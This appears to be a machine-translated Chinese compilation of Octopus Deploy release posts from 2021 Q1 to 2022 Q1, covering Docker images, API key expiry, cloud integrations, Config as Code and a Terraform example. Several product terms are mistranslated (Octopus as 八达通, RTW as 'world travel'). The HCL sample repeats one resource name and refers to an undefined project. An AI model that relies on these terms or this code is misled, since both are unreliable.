VIDEO
Octopus 服务器 Linux 坞站映像
Octopus 服务器 Docker 镜像允许您在自己选择的 Linux 操作系统上自托管 Octopus。它们也使得首次尝试 Octopus 变得更加容易，因为只需一个简单的 Docker Compose 文件就可以在几分钟内启动并运行。
我们很自豪地宣布，这项功能在章鱼 2020.3 的早期访问后，已经达到了发布到网络 (RTW)的状态。我们已经删除了预发布标签，因此它现在完全支持我们所有客户的生产工作负载。
特别感谢八达通社区的成员，他们在公开预览和报告问题期间测试了我们的 Docker 图像。这帮助我们满怀信心地获得了环球旅行的身份。
查看我们的 Docker Hub 库开始吧。关于更详细的说明和完整的例子，你可以阅读介绍章鱼服务器 Linux Docker 镜像的博文。
手臂的触手/手臂 64
Octopus 触手代理现在支持 ARM 和 ARM64 硬件。此次更新可以将您的应用和服务部署到 Raspberry Pi 3 和 4、AWS A1 EC2 实例以及任何可以运行的 ARM 硬件。网芯 3.0 或更高版本。
在我们的博客文章中了解更多信息:章鱼触手 on ARM/ARM64 。
全局搜索
我们在 Octopus 门户网站中引入了一个搜索字段，以帮助您:
- 更快地导航章鱼。
- 通过几次击键找到并调用动作。
- 在一个空间内快速找到服务器端资源，并轻松地直接找到它们。
全球搜索惠及所有八达通用户。它帮助初次使用 Octopus 的用户获得信心，即使在他们不知道去哪里找的时候也能找到他们需要的东西，它还允许高级用户比以前更快地导航。
请让我们知道您对新的全球搜索有何看法，以及我们如何改进它。
你也可以通过阅读 GitHub 上的问题来了解更多。
API 密钥管理的改进
Octopus API 是我们最受欢迎的特性之一，但是我们发现了改进 API 密钥管理的机会。在此版本中，我们有:
- 为 API 密钥引入了可选的到期日期。
- 添加了 API 密钥订阅事件。
- 改进了 API 关键事件的审计日志记录。
此更新使得跟踪谁创建了给定的 API 键变得更加容易。
API 密钥过期
API 密钥到期日期是可选的，默认值是Never。过期在密钥创建期间设置，并在每次使用密钥时检查。
生成新密钥时，您可以选择一个时间段，例如:
- 30 天、60 天、90 天或 180 天。
- 1 年或 2 年。
- 自定义日期。
到期日期作为 API 密钥创建事件的一部分出现在审核日志中。
审核日志过滤
我们改进了 API 密钥文档类型的过滤器，以确保包含 API 密钥创建和删除事件。当按服务帐户和/或 API 密钥文档类型过滤日志时，包括为服务帐户创建的 API 密钥。
API 密钥订阅事件
您现在可以订阅 API 密钥过期事件的通知。在问题出现之前收到事件通知，并相应地更新密钥，避免集成意外中断带来的挫败感。
新的 API 密钥订阅事件包括:
- 密钥已过期。
- 过期 10 天内的密钥。
- 过期 20 天内的密钥。
API 键的显示
从现在开始，API 密钥的前四个字符将显示在 Octopus 中，包括审计日志和给定用户的 API 密钥列表。比如API-WXYZ••••••••。这确保了 API 键可以在用户界面中匹配。
请注意，此更改仅适用于新密钥。现有的键已经被散列，所以前四个字符不可用。
在我们的文档中了解如何创建 API 密钥。
重大变化
此版本包括两个突破性的变化:
- 频道现在需要
ProjectView权限 。在频道上执行操作，除了现有的权限外，还需要ProjectView权限。 - 更改为支持 Windows Server 2008 。微软不再支持 Windows 2008。因此，Octopus 不会针对 Windows 2008 进行主动测试，某些特定于操作系统的问题可能不会得到解决。
升级
章鱼云用户已经在运行这个版本，自托管章鱼客户现在可以下载最新版本。
像往常一样，我们鼓励您回顾升级 Octopus 服务器的步骤。更多信息请参见发布说明。
未来的版本中会有什么？
查看我们的公共路线图,了解最新消息并注册更新。
结论
Octopus 2021 Q1 提供了 Linux Docker 图像、对 ARM/ARM64 的触手支持、全局搜索以及对 API 密钥管理的改进。我们期待在下一个版本中发布更多优秀的特性。
欢迎留下评论，让我们知道你的想法！
愉快的部署！
相关职位
八达通 2021 Q2:通过八达通部署迁移到云
Octopus 2021 Q2 版现已推出，可提供更好的云体验。使用此版本，您可以:
- 通过自助导出/导入将 Octopus 项目迁移到 Octopus Cloud。
- 将 Octopus 与 GitHub Actions 和 HashiCorp 的 Terraform 更容易地集成。
- 使用我们改进的 Azure 应用服务步骤部署您的 Azure web 应用。
- 随着需求的增长扩展 Octopus 云:
- 运行更多并发自动化任务。
- 利用一流的存储持久保存更多构建和自动化工件。
- 在没有 root 或管理员权限的情况下配置触手代理。
我们的公开路线图概述了今年晚些时候将进行的更多云改进，包括与谷歌云平台(GCP)的集成。
包括在 Q2 版本中
- 章鱼服务器 2021.1 ( 发布说明)
- 触手 6.1.670
- Octopus 部署 0.7.36 的平台提供程序
长期支持
下表显示了具有长期支持的 Octopus 服务器版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 八达通 2021.1 | 是 |
| 八达通 2020.6 | 是 |
| 章鱼 2020.5 | 期满 |
发布之旅
https://www.youtube.com/embed/mQIeG3CwhP4
VIDEO
带有导出/导入项目的自助迁移(早期访问)
导出/导入项目功能允许您将项目从一个空间移动到另一个空间。我们给它起了个绰号叫“便当计划”,因为我们的目标是为你的章鱼数据做一个便携的容器。
我们设计 Bento 时考虑了云迁移，以简化将现有项目从内部迁移到 Octopus 云的流程。
项目导出/导入可用于:
- 将项目从自托管的 Octopus 服务器移动到 Octopus Cloud。
- 将多项目空间拆分为多个空间。
- 在同一实例或另一个实例中，将项目从一个空间移动到另一个空间。
该功能处于早期访问，因此可能会有一些粗糙的边缘，但我们已经设计了在出现问题或错误的情况下中止而不进行更改的过程。我们希望您能尝试便当并提供反馈。
在我们的文档中了解更多关于导出和导入项目的信息。
GitHub 操作
本季度，我们加入了 GitHub 技术合作伙伴计划，并成为了 GitHub 市场的认证创建者。
我们引入了对 GitHub 动作的本地支持，因此您可以将您的 GitHub 构建和其他自动化流程与您的 Octopus 工作流集成。
到目前为止，我们已经为 Octopus Deploy 发布了四个官方 GitHub 动作，还会有更多。从 GitHub，您现在可以:
在我们的帖子中了解如何开始发布针对 Octopus Deploy 的 GitHub 操作。
随着时间的推移，我们期待为您带来更多的 GitHub 行动。
Terraform 集成的改进
今年一月，我们推出了我们的官方平台提供商。
从那时起，我们对提供者本身和 Octopus Deploy 中内置的相关步骤进行了渐进式改进。我们也成为了哈希公司的技术合作伙伴。
了解更多关于开始使用用于 Octopus Deploy 的 Terraform provider 的信息或阅读快速入门指南。
Azure 应用服务部署
Azure App Service 现在支持很多不同类型的应用(比如。NET、Java 和 Node.js)以及部署和配置它们的各种方法。
我们给 Octopus 增加了一个新的步骤，所以你可以利用这些功能。
部署 Azure 应用服务步骤:
- 除了包(zip、NuGet 和 Java war 文件)之外，还部署容器映像。
- 跨平台运行，因此它适用于在 Linux 上自托管 Octopus 服务器的客户。
- 将应用部署到 Linux 应用服务计划，无需晦涩的配置设置。
- 配置 Azure 应用设置和连接字符串。
- 执行配置文件转换。
我们向在 Clear Measure 的朋友们致敬，感谢他们帮助我们开发 Azure 应用服务部署的这些改进。
在我们的帖子中了解如何开始改进 Azure 应用服务部署。
章鱼云的改进
我们改进了 Octopus Cloud 的计算和存储能力，因此它可以随您扩展。付费计划的客户将享受以下优惠:
- 同类最佳的 CI/CD 文件存储。您可以存储高达 1 TB 的包、工件和任务日志。
- 随着业务规模的扩大，运行更多并发自动化任务的能力。
所有付费客户都将获得该版本增加的存储空间。
我们还在编写迁移指南，以支持您的云计算之旅。本系列的第一个指南描述了如何将 ASP.NET web 应用从 IIS 内部迁移到 Azure 应用服务。
注册触手代理
触手代理现在与高安全性、低信任环境更加兼容。
从触手版本 6.1.648，您可以通过 Octopus CLI 配置触手代理，而无需 root 或管理员权限。
create-instance 命令现在可以在当前工作目录下创建触手配置文件，而不需要访问共享注册表。触手实例的后续命令，如 configure ，直接从该位置运行，无需提升权限。
你可以在我们的文档中了解更多关于无根实例创建的信息。
重大变化
这个版本包括一个突破性的变化。
更改为支持 Windows Docker 图像
我们已经弃用了 Octopus Server 和 Octopus CLI 的 Windows Docker 镜像，因为客户接受度很低，微软不再支持我们发布的操作系统版本(Windows 1809 、 1903 和 1909 )。
我们鼓励客户使用 Linux Docker 映像。Octopus Server 和 Octopus CLI 的现有 Windows 映像将仍然可以从我们的 Docker Hub 存储库中获得，但那些标记为latest的映像将不再适用于 Windows。关于从 Windows 容器迁移到 Octopus Server Linux 容器的指南，请参见我们的文档。
Octopus CLI 可作为 exe、. NET 核心全局工具或通过 chocolatey 获得。请参考我们的下载页面。
我们将继续发布触手的 Windows Docker 图片。一旦我们将触手的映像更新到 Windows 2019 和 Windows 20H2，我们将废弃现有的 Windows 1809/1903/1909 容器。
升级或开始
章鱼云用户已经在运行这个版本，自托管章鱼客户现在可以下载最新版本。
我们鼓励你回顾一下升级 Octopus 服务器的步骤。更多信息请参见发行说明。
开始您的云之旅
如果您以前从未使用过 Octopus Cloud，注册一个支持 10 个部署目标的免费帐户，或者向我们的销售团队发送电子邮件观看演示并了解更多信息。
未来的版本中会有什么？
我们正在投资 Octopus Cloud，以支持您的云迁移计划。Q2 版本是持续努力的基础，旨在:
- 提供更流畅的云迁移体验。
- 提高章鱼云的可扩展性和能力。
- 在 Octopus 和 CI/CD 工具之间建立新的和改进的集成。
查看我们的公共路线图，了解最新消息并注册更新。
结论
章鱼 2021 Q2 提供更好的云体验。
现在，您可以导出/导入项目，随着需求的增长扩展 Octopus 云，利用 Azure 应用服务功能，并更轻松地将 Octopus 与 GitHub Actions 和 Terraform 集成。
请在这里或我们的社区 Slack 发表评论，让我们知道您的想法。
观看网络研讨会
https://www.youtube.com/embed/Dm4vOwuo9GI
VIDEO
我们定期举办网络研讨会。请参见网络研讨会页面了解过去的网络研讨会和即将举办的网络研讨会的详细信息。
愉快的部署！
Octopus 2021 Q3: Google Cloud 支持集中式 Kubernetes 部署和 run book-Octopus 部署
Octopus 2021 第三季度发布现已推出。
对谷歌云的内置支持使得在谷歌基础设施上管理部署和运行图书自动化变得更加容易——包括使用 Kubernetes 的容器化应用程序。
其他功能允许您:
- 使用我们的无代码 Workato 连接器将 Octopus 部署与业务工作流程集成
- 当您在 Linux 上自托管 Octopus 时，通过 LDAP 认证到 Active Directory
- 使用新的变量替换(八进制)过滤器创建更加动态的运行条件
包括在第 3 季度发行版中
- 章鱼服务器 2021.2 ( 发布说明)
- Octopus Deploy 5 的 Workato 连接器
- 触手 6.1.736
- Octopus 部署 0.7.58 的平台提供程序
长期支持
下表显示了具有长期支持的 Octopus 服务器版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 章鱼 2021.2 | 是 |
| 八达通 2021.1 | 是 |
| 八达通 2020.6 | 是(至 2021 年 9 月 30 日) |
| 章鱼 2020.5 | 期满 |
发布之旅
https://www.youtube.com/embed/j3jTawfQuJo
VIDEO
谷歌云平台
与谷歌云平台(GCP)的专门集成意味着您可以:
- 通过专用帐户类型连接 GCP 并进行身份验证
- 使用 GCP 命令行工具 gcloud
- 用地形创建和拆除 GCP 的基础设施
- 在谷歌容器注册表中存储和保护你的 Docker 图片(GCR)
- 使用 Octopus 和 Kubernetes 在 GCP 部署、扩展和管理容器化应用程序
在我们的帖子中，了解如何开始为 Octopus Deploy 介绍 Google 云平台集成。
Kubernetes 在谷歌云上的部署和操作手册
Octopus Deploy 使管理您的 Kubernetes 资源变得容易，无论您是从简单开始还是想要完全控制复杂的设置。
我们已经支持 Kubernetes 部署 3 年，并在 2020 年添加了 Runbooks。2021.2 对 GCP 的全功能支持为工程师和运营专业人员提供了终极的 Kubernetes 体验。
- 将您的 Kubernetes 集群和资源集中在一个地方，以便您可以专注于您的应用程序和客户
- 使用内置服务帐户进行简单安全的身份验证
- 利用共享变量简化您的部署和操作手册
- 实施蓝/绿、淡黄色和滚动部署等部署模式
- 使用预先批准的 kubectl 脚本
- 自动化日常维护并更快地响应紧急情况
我们的 Kubernetes 自动化支持三种方法:
- 一个结构化的 UI 步骤，引导您完成配置，无需任何 YAML 输入
- 用原始 YAML 配置的完全灵活的步骤
- 舵图自动化步骤
在我们的文档中了解更多关于我们的 Kubernetes 支持的信息。
注册参加网络研讨会:Kubernetes on Google Cloud with Octopus
加入我们下个月的网络研讨会，了解 Google Cloud、Octopus Deploy 和 Octopus Runbooks 如何提供终极 Kubernetes 体验。立即注册。
章鱼工作头连接器
Workato 是一个集成平台即服务(iPaaS)，用于集成应用程序和自动化业务工作流。它连接了跨越不同行业和工作职能的庞大应用程序库。
我们的新型 Workato 连接器使您可以轻松:
- 包括 Octopus 部署在 Workato 工作流中，无需编写代码
- 对 Octopus Deploy 执行操作，例如创建和部署发布
- 创建通过触发器响应 Octopus 中事件的食谱
以下是让你开始的一些想法:
- 从其他系统(如 Slack、微软团队或吉拉)触发部署
- 在开发、测试或生产部署后，将更新发布到其他系统:
- 将通知推送到宽限时间
- 在吉拉、Zendesk 和 ServiceNow 等其他系统中自动更新票证
在我们的文章介绍 Octopus Deploy 的 Workato 连接器中了解如何开始。
LDAP 提供者
Octopus 2021.2 包括对轻量级目录访问协议(LDAP)的支持。LDAP 是一种与目录服务器交互的协议。
我们的 LDAP 身份验证提供商为 Octopus 客户提供了更多使用案例:
- 在 Windows 或 Linux 容器中自托管 Octopus 时，向微软的活动目录进行身份验证
- 与 OpenLDAP 等其他目录服务器交互
- 支持使用非 Windows 客户端的用户，包括 macOS
了解如何开始使用用于 Octopus Deploy 的 LDAP 身份验证提供者。
新的变量替换过滤器
Octopus 允许您定义变量，并在部署步骤、操作手册和文件中引用它们。
在 2021.2 中，我们将比较过滤器Contains、Match、EndsWith和StartsWith添加到 Octostache 中，Octopus Deploy 的变量替换语法。
这些过滤器对指定#{if}块中的条件很有用。它们根据比较结果返回true或false。
在我们的文档中了解更多关于变量替换比较过滤器的信息，或者查看我们的帖子使用新的八进制过滤器创建动态运行条件。
重大变化
这个版本包括一个突破性的变化。
对于使用执行容器的步骤，新的升级脚本将OctopusUseBundledTooling属性设置为False。否则，脚本会将属性设置为True或考虑遗留变量。这种变化只影响使用定制 Windows 执行容器的用户，他们依赖 Octopus 来注入 Azure 或 AWS 工具。在 GitHub 问题中阅读该用例的解决方法。
升级或开始
八达通云用户已经在运行这个版本，自托管八达通客户现在可以下载最新版本。
我们鼓励你回顾升级八达通服务器的步骤。更多信息请参见发行说明。
如果你以前从未使用过 Octopus，注册进行免费试用，或者发送电子邮件给我们的客户成功团队观看演示并了解更多信息。
未来的版本中会有什么？
查看我们的公共路线图以了解最新消息并注册更新。
结论
Octopus 2021 Q3 通过集中式 Kubernetes 部署和 runbooks 提供谷歌云支持。
这个版本还包括 Octopus 的 Workato 连接器，我们的新 LDAP 提供者，以及 Octopus che 的新变量替换过滤器。
我们期待在下一个版本中发布更多优秀的特性。
我们欢迎您提出任何问题或意见。你可以在下面留下评论或者加入我们的章鱼社区 Slack 的对话。
愉快的部署！
Octopus 2021 Q4:使用我们的引导式 UI 步骤- Octopus Deploy 部署到 ECS
Octopus 2021 Q4 版本现已上市。
对 Amazon 的弹性容器服务(ECS)的内置支持将使您的 ECS 部署更加容易。我们固执己见的 UI 步骤指导您完成设置并构建 CloudFormation 模板，因此您不必编写配置文件或定制脚本。
此版本包括一些其他值得注意的更新:
- 我们为 Octopus Deploy 提供了一个新的 TypeScript API 客户端。
- 所有客户都可以使用“配置为代码早期访问预览”( EAP)。
- 尝试我们新的 Visual Studio 代码扩展，它支持 Octopus 配置语言(OCL)作为代码进行配置。
- 用于 Octopus Deploy 的 Terraform Provider 支持脚本模块、租户变量和工作池。
- 我们为 Octopus Deploy 改进了我们的 Go API 客户端和 TeamCity 插件。
- Octopus Cloud 支持 Azure AD、Google 和 Okta 作为身份验证提供者，同时支持 Octopus ID。
包括在第 4 季度版本中
- 章鱼服务器 2021.3 ( 发布说明)
- 用于 Octopus Deploy 1.1.5 的 TypeScript API 客户端
- Octopus 为 Visual Studio 部署代码 0.0.17
- 用于 Octopus Deploy 6.1.5 的 TeamCity 插件
- Octopus 部署 1.7.52 的 Go API 客户端
- 触手 6.1.1147
- Octopus 部署 0.7.63 的平台提供程序
长期支持
下表显示了具有长期支持的 Octopus 服务器版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 八达通 2021.3 | 是 |
| 章鱼 2021.2 | 是 |
| 八达通 2021.1 | 是(至 2022 年 1 月 31 日) |
| 八达通 2020.6 | 期满 |
发布之旅
https://www.youtube.com/embed/NqcfVLP_WrE
VIDEO
新的亚马逊 ECS 与 Octopus 的集成
我们新的 Amazon Web Services (AWS) ECS 集成使得使用 ECS 或通过 Octopus 部署新服务变得更加容易。
此版本交付了第一个集成里程碑以及对现有部署 AWS CloudFormation 模板步骤的更新:
- 一个新的目标代表一个 ECS 群集，以便您可以对环境和租赁部署进行建模
- 一个固执己见的、UI 驱动的 ECS 步骤，它通过 CloudFormation 为您创建和管理服务和任务定义
- 导出底层 CloudFormation 模板的能力
- 跨环境的简化部署工作流
- 将 Docker 图像添加到部署 AWS CloudFormation 模板步骤，并在您的 CloudFormation 模板中引用它们
新的 ECS 步骤将指导您完成配置，并根据您的输入生成云形成 YAML。
当你不再需要 guided UI 步骤或者需要更多的灵活性时，你可以暴露底层的 YAML 并将其粘贴到部署 AWS CloudFormation 模板步骤中。
我们的目标是帮助您实现可重复、可恢复且可审核的 ECS 部署。阅读我们的 AWS 文档，了解这些功能如何节省您的时间并最大限度地减少手动配置。
我们正在为第二个里程碑开发更多功能，预计明年发布。观看我们的博客更新。
用于 Octopus 部署的 TypeScript API 客户端
新的 TypeScript API 客户端使用 Node.js 和 npm 生态系统提供了与 Octopus 的跨平台集成。
现在，您可以使用一种可访问的、熟悉的编程语言通过 Octopus Deploy 编写任务脚本，而不管您使用的是什么系统。
我们的 API 支持您可以使用 Octopus web 门户和命令行界面(CLI)执行的所有操作。
以下是让你开始的一些想法:
- 自动化生产部署批准
- 从构建服务器和其他系统触发部署和操作手册
在我们的入门指南、参考文档和文档化的 API 示例中了解关于 TypeScript API 客户端的更多信息。可以通过 npm 下载客户端。
早期访问 Config as 代码和 Octopus Deploy for Visual Studio 代码
所有客户都可以使用代码早期访问预览(EAP)配置。我们将 Octopus 的可用性与 Git 的能力结合起来，这样您就可以在开发应用程序代码的同时改进部署过程。
Octopus Deploy for Visual Studio Code是一个免费的扩展，使得使用 Octopus 配置语言(OCL)文件更加容易。功能包括:
- 语法突出显示
- 步骤和操作的代码片段
- 在文件中导航节点的集成树视图
本季度，Octopus Deploy 成为 Visual Studio 代码扩展市场的认证发行商。
在我们的文章Octopus Deploy Config as Code:early access preview中了解更多信息。
其他集成更新
本季度，我们对现有集成进行了改进:
- 用于 Octopus Deploy 的 Terraform Provider 支持脚本模块、租户变量和工作池。我们从 Terraform Registry 获得了超过 325，000 次供应商安装。
- 我们为 Octopus 改进了我们的 Go API 客户端，包括错误修复和对工人池的更新支持。
- Octopus Deploy 的 TeamCity 插件传递版本控制项目的 Git 细节，以支持代码形式的配置。
- Octopus Cloud 支持一系列身份验证提供商，包括 Azure AD、Google 和 Okta。在我们的文档中了解认证提供者。
重大变化
这个版本包括三个突破性的变化。
“获取机器”的新默认行为
我们向部署目标屏幕添加了 runbook 运行活动。为了支持这一改变，GET machines/{id}/tasks现在返回部署和 runbook 运行。您可以指定一个type参数来过滤结果:Deployment或RunbookRun。
在 GitHub 问题中了解更多关于这一变化的信息。
运行卡拉马里的 Mono 推荐版本
Calamari 可以在 Mono 框架上执行。我们推荐运行 Calamari 的 Mono 最低版本为 5.14.0。
在我们的 SSH 目标需求文档中了解更多关于这个变化的信息。
章鱼的推荐版本。NET API 客户端
我们推荐 11.3.3453 作为八达通的最低版本。用于与 Octopus Server 2021.3 交互的. NET API 客户端。
使用八达通的顾客。使用团队、角色和权限的. NET API 客户端必须使用 11.3.3453 版本的客户端(或更新版本),以确保与 Octopus Server 2021.3.7491 和更新版本兼容。
在 GitHub 问题中了解更多关于此变化的信息。
升级或开始
章鱼云用户已经在运行这个版本了。自托管八达通客户可以从我们的网站下载最新版本。
我们鼓励您查看升级 Octopus 服务器的步骤。更多信息请参见发布说明。
如果你以前从未使用过 Octopus，注册免费试用，或者给我们的客户成功团队发电子邮件，观看演示并了解更多信息。
未来的版本中会有什么？
查看我们的公共路线图以了解最新消息并注册更新。
结论
Octopus 2021 Q4 实现了我们对亚马逊 ECS 的集中支持的第一个里程碑。
这个版本还包括 Octopus 的 TypeScript API 客户端，以及一系列新的和改进的与其他平台的集成。
我们期待在下一个版本中发布更多优秀的特性。
我们欢迎您提出任何问题或意见。你可以在下面留下评论或者加入我们的章鱼社区 Slack 的讨论。
愉快的部署！
章鱼 2022 Q1:配置为部署代码-章鱼部署
章鱼 2022 Q1 版现已发售。
我们很高兴分享这种配置作为代码(配置作为代码)部署是普遍可用的。您可以创建受版本控制的项目，并在应用程序代码旁边的 Git repo 中查看您的部署过程，并一起发展它们。
我们相信我们不折不扣的解决方案是最好的“代码”实现之一。Octopus 中的 Config as 代码提供了 Git(分支、提交和历史)的能力和 Octopus UI 的可用性。Octopus Cloud 上提供了 Config as 代码，可供我们的自助客户下载。
此版本还包括其他值得注意的更新:
- 带有 Octopus 配置语言(OCL)语法突出显示、代码片段和导航树的 Visual Studio 代码扩展
- 更新了 Terraform 提供程序，支持版本控制项目
- 新集成:
- Buildkite 插件(早期访问)允许您的构建代理创建和部署版本，推送构建信息，并作为管道的一部分运行 runbooks
- 通过集成，您可以将 Octopus 连接到其他 DevOps 工具，无需代码自动化
- Octopus 现在支持连接到多个组织
- 用最新的 Log4j 安全补丁更新了 TeamCity 插件
- 使用我们的下一代步骤包框架构建的自动步骤更新和步骤发现
- Octopus Deploy 收购了 Dist 技术
包括在 Q1 版本中
- 章鱼服务器 2022.1 ( 发布说明)
- Octopus 为 Visual Studio 部署代码 0.0.17
- Azure DevOps 插件 5.0.57
- 用于 Octopus Deploy 6.1.12 的团队城市插件
- 触手 6.1.1320
- Octopus 部署 0.7.69 的 Terraform 提供程序
长期支持
下表显示了具有长期支持的 Octopus 服务器版本。
| 释放；排放；发布 | 长期支持 |
|---|---|
| 八达通 2022.1 | 是 |
| 八达通 2021.3 | 是 |
| 章鱼 2021.2 | 期满 |
配置为代码演示
https://www.youtube.com/embed/tHdAsY_7CqA
VIDEO
配置为 Octopus 中的代码
当您为项目启用 Config as Code 时，您可以像往常一样继续使用 Octopus UI，或者您可以在您喜欢的编辑器中编辑文本文件。在你效率最高的地方工作。
配置为代码一直是我们的客户的最大要求之一。在 2021 年 12 月发布早期访问预览版后，您的反馈使我们能够在正式发布前进一步调整它。
我们设计了我们的解决方案来避免关键的反模式，包括错误的配置文件格式、作为简单数据库的 Git，以及如果您选择将 Config 作为代码支持，则完全禁用 UI。
将配置用作代码的客户
Stack Overflow 和 Recruit Wizard 已经在早期访问中使用 Config 作为代码，并分享了关于它如何改进他们的开发工作流程的反馈。
它使我们能够将配置代码作为标准。构建管道在软件回购中。部署管道在软件报告中。我们可以做一次公关，我可以改变软件，改变它的构建和部署方式。
- Chris Hunt，StackOverflow 的员工现场可靠性工程师
阅读更多关于 Stack Overflow 如何使用 Octopus Deploy 和 Config 作为代码。
将配置分支为代码允许我们在修改代码的同时修改部署过程。这是一个绝对的游戏改变者，尤其是当我们在团队中加入越来越多的工程师时。
-本·麦克弗森，招聘向导的首席技术官
阅读更多关于招聘向导如何使用 Octopus Deploy 和 Config 作为代码。
为什么使用配置作为代码？
对代码和部署进行分支
分支是 Git 的超能力，我们公开这种能力。使用 Config 作为代码，您可以:
- 在 Octopus UI 或您喜欢的 Git 客户端中切换分支，或者创建新的分支
- 在分支上提交对部署流程的更改
- 当您更改您的部署过程时，添加(可选)提交消息，以便其他人了解它为什么更改
- 从您的分支创建发布，并部署以测试您的更改，以支持您的部署过程的许多版本
- 安全地发展您的部署，无需担心破坏其他团队的部署
- 如果出现问题，回滚到部署过程的前一个版本
审阅、批准和合并
在部署到生产环境之前，检查、批准和合并您的分支。让更多人关注变化总是一件好事。
拉请求、受保护的分支和代码所有者启用了一组新的工作流来提高您的发布的质量和安全性。减少不良部署造成的停机时间，并提高发布的质量。
审计和可追溯性
提交历史改进了对部署过程的变更的可追溯性。知道什么改变了，什么时候，由谁改变的，最重要的是为什么。
不再需要通过搜索审计日志来找出配置更改的原因。Git 历史和差异提供了清晰的可追溯性，并讲述了完整的故事。Octopus 甚至在 Git 历史中记录提交者的详细信息。
共享 Git 凭据
从单个视图中重用和管理受版本控制的项目的 Git 凭证，从而更容易更新令牌并查看它们的使用情况。
跨团队扩展您的部署
从分支创建发布，并独立于其他分支部署您的更改。这允许您支持部署过程的多个版本。您可以安全地发展您的部署，而不用担心破坏其他团队的部署。如果出现问题，您还可以回滚到部署过程的前一个版本。
虽然 Config as Code 的第一个版本只包括部署过程，但我们正在努力增加对版本控制变量和 runbooks 的支持。我们还想更新 OCL 模式，使其更便于手工编辑。
阅读我们的文档来学习如何创建你的第一个版本控制项目。
具有 OCL 突出显示、代码片段和导航树的 Visual Studio 代码插件
Octopus Deploy for Visual Studio Code是一个免费的扩展，使得使用 Octopus 配置语言(OCL)文件更加容易。功能包括:
- 语法突出显示
- 步骤和操作的代码片段
- 在文件中导航节点的集成树视图
在更新和错误修复之后，我们的 VS 代码扩展现在已经可以投入生产了。
安装 Octopus Deploy for Visual Studio 代码。
Terraform Provider 支持配置为代码
我们在 2021 年初推出了我们的平台提供商，它越来越受欢迎。我们的提供商有超过 400，000 次安装，来自 Octopus 社区的贡献也在增长，用户通过 GitHub 问题报告错误，并通过 pull 请求提交更改。
在这个版本中，我们添加了对在 HCL 中配置版本控制项目的支持。有了对 Config as Code 的支持，我们添加了 Git 持久性设置，指定了默认的分支、URL、凭证等等。这允许您在配置 Octopus 实例时使用 Config as 代码特性，比如分支。
以下示例突出显示了最新的更新:
terraform {
required_providers {
octopusdeploy = { ... }
}
}
resource "octopusdeploy_project_vcs" "test-project-123" {
name = "test-project-name"
lifecycle_id = octopusdeploy_lifecycle.test-lifecycle.id
project_group_id = octopusdeploy_project_group.test-project-group.id
space_id = var.space_id
git_persistence_settings {
# base_path
# default_branch
url = var.github_url
credentials {
password = var.github_pat
username = var.github_username
}
}
}
resource "octopusdeploy_project" "test-project-321" {
name = "test-project-name"
lifecycle_id = octopusdeploy_lifecycle.test-lifecycle.id
project_group_id = octopusdeploy_project_group.test-project-group.id
space_id = var.space_id
}
resource "octopusdeploy_deployment_process" "test-deployment-process-main" {
branch = "main"
project_id = octopusdeploy_project.test-project.id
step {
name = "Hello Main Branch"
target_roles = ["role 1"]
run_script_action {
script_body = "Hello from the main branch!"
name = "This is from the action."
}
}
}
resource "octopusdeploy_deployment_process" "test-deployment-process-main" {
branch = "secondary"
project_id = octopusdeploy_project.test-project.id
step {
name = "Hello Secondary Branch"
target_roles = ["role 1"]
run_script_action {
script_body = "Hello from a different branch!"
name = "This is from the action."
}
}
}
了解关于 Octopus Deploy Terraform provider 的更多信息。
新集成
Buildkite 插件(早期访问)
章鱼部署现在与 Buildkite 整合。我们新的 Buildkite 插件允许您的构建代理创建和部署版本，推送构建信息，并作为管道的一部分运行 runbooks。
通过我们的 Buildkite 插件的集成代表了我们最初的设计和发布。我们计划构建额外的插件，并通过 Bash 脚本提供集成来消除对 Octopus CLI 的依赖。
与 Opsera 的无代码 DevOps 集成
【T2 
我们与 Opsera 合作，提供与 Octopus Deploy 的集成。您可以将 Octopus 与 Opsera 支持的 95+平台集成，作为其无代码 DevOps 编排平台的一部分。
自动化您的 CI/CD 渠道是一项挑战，尤其是在使用不同的解决方案时。Opsera 提供自助服务平台，帮助您实现 CI/CD 渠道的自动化。您可以通过可视化界面来创建具有统一洞察力的声明性管道。
启用后，Opsera 的集成通过其管道 UI 提供对 Octopus Deploy 中定义的资源的访问，如通道、环境、生命周期、项目、空间和租户。
阅读我们的公告博客文章以了解关于 Opsera 与 Octopus 集成的更多信息。
您还可以通过参加 2022 年 4 月 12 日(星期二)的免费网络研讨会了解更多信息。
将 Octopus 连接到您的所有 Azure DevOps 组织
如果您的公司有多个 Azure DevOps 组织，您现在可以将 Octopus 连接到所有这些组织。当我们构建将构建信息与包相关联的功能时，我们没有计划让客户访问多个 Azure DevOps 组织。我们只添加了对关联单个 Azure DevOps 组织的支持。
在此版本中，我们解决了这一限制，您可以选择配置多个 Azure DevOps 组织 URL。这一更新意味着 Octopus 可以显示来自多个 Azure DevOps 组织的工作项，作为发布创建的一部分或在查看包元数据时。
要在 Octopus 中配置多个 URL，请前往配置➜设置➜ Azure DevOps 问题跟踪器。
团队城市八达通部署集成更新
我们更新了我们的团队城市插件，使用最新版本的 Log4j 来解决最新的安全漏洞。
自动化步骤更新和发现
我们一直在悄悄地为构建新的自动化步骤开发下一代框架，我们称之为步骤包框架。我们用新的框架构建了我们的 Amazon ECS 部署支持，并且我们将继续增强它。
在这个版本中，我们使用我们的新框架为内置步骤引入了一个更新服务。这使得无需升级 Octopus 服务器或 Octopus 云实例就能更容易地获得更新和错误修复。Octopus 还可以通过这项新服务发现和下载新的步骤。同样，这允许您在不升级 Octopus 服务器的情况下添加新的 Octopus 步骤。
上面的屏幕截图显示了一个示例“Hello world”步骤的升级过程。
八达通部署收购区
Octopus 收购了 Dist ，这是一个快速可靠的容器和 Java 工件存储库。Octopus 内置了各种包格式的包存储库，但它不支持容器图像。我们正在探索 Dist 团队的技术和专业知识如何帮助我们为低延迟、安全和集成的容器注册添加这一功能。
在 Paul Stovell 的博客文章中了解更多信息。
重大变化
此版本包含一个突破性的变化:
配置为代码 API URLs 重命名
我们对相关链接集合中的一些 Config as Code API URLs 和 key 做了一些小的修改。这些更改只会影响受版本控制的项目，并且只有在您直接使用 URL 时才会引起问题。
在 GitHub 问题中了解更多关于这一变化的信息。
升级或开始
章鱼云用户已经在运行这个版本了。自托管八达通客户可以从我们的网站下载最新版本。
我们鼓励你回顾一下升级 Octopus 服务器的步骤。更多信息请参见发行说明。
如果你以前从未使用过 Octopus，注册免费试用，或者给我们的销售团队发电子邮件观看演示并了解更多信息。
未来的版本中会有什么？
